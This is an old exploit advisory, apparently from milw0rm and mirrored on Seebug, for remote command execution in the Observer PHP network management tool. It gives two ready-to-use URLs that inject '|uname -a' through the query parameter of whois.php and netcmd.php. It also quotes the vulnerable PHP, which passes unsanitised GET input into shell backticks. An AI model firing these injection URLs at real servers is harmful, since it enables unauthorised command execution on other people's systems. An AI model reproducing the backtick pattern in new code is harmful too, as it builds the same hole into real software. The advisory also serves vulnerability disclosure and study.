:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ dun[at]strcpy.pl ] ######################################################### # [ observer <= 0.3.2.1 ] Remote Command Execution # ######################################################### # # Script: "Observer is an autodiscovering PHP/MySQL/SNMP/CDP based network management system focused primarily on Cisco and Linux/BSD networks." # # Script site: http://www.project-observer.org/ # Download: http://freshmeat.net/projects/observer/ # # Vuln: # (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a # (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a # # # Bug(1): ./observer-0.3.2.1/html/whois.php # # ... # $output = `/usr/bin/whois $_GET[query] | grep -v \%`; # $output = trim($output); # echo("<pre>$output</pre>"); # ... # # # Bug(2): ./observer-0.3.2.1/html/netcmd.php # # ... # switch ($_GET[cmd]) { # case 'whois': # $output = `/usr/bin/whois $_GET[query] | grep -v \%`; # break; # case 'ping': # $output = `/bin/ping $_GET[query]`; # break; # case 'tracert': # $output = `/usr/sbin/traceroute $_GET[query]`; # break; # case 'nmap': # $output = `/usr/bin/nmap $_GET[query]`; # break; # } # $output = trim($output); # echo("<pre>$output</pre>"); # ... # # ############################################### # Greetz: D3m0n_DE * str0ke * and otherz.. ############################################### [ dun / 2008 ] ******************************************************************************************* # milw0rm.com [2008-09-24]
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论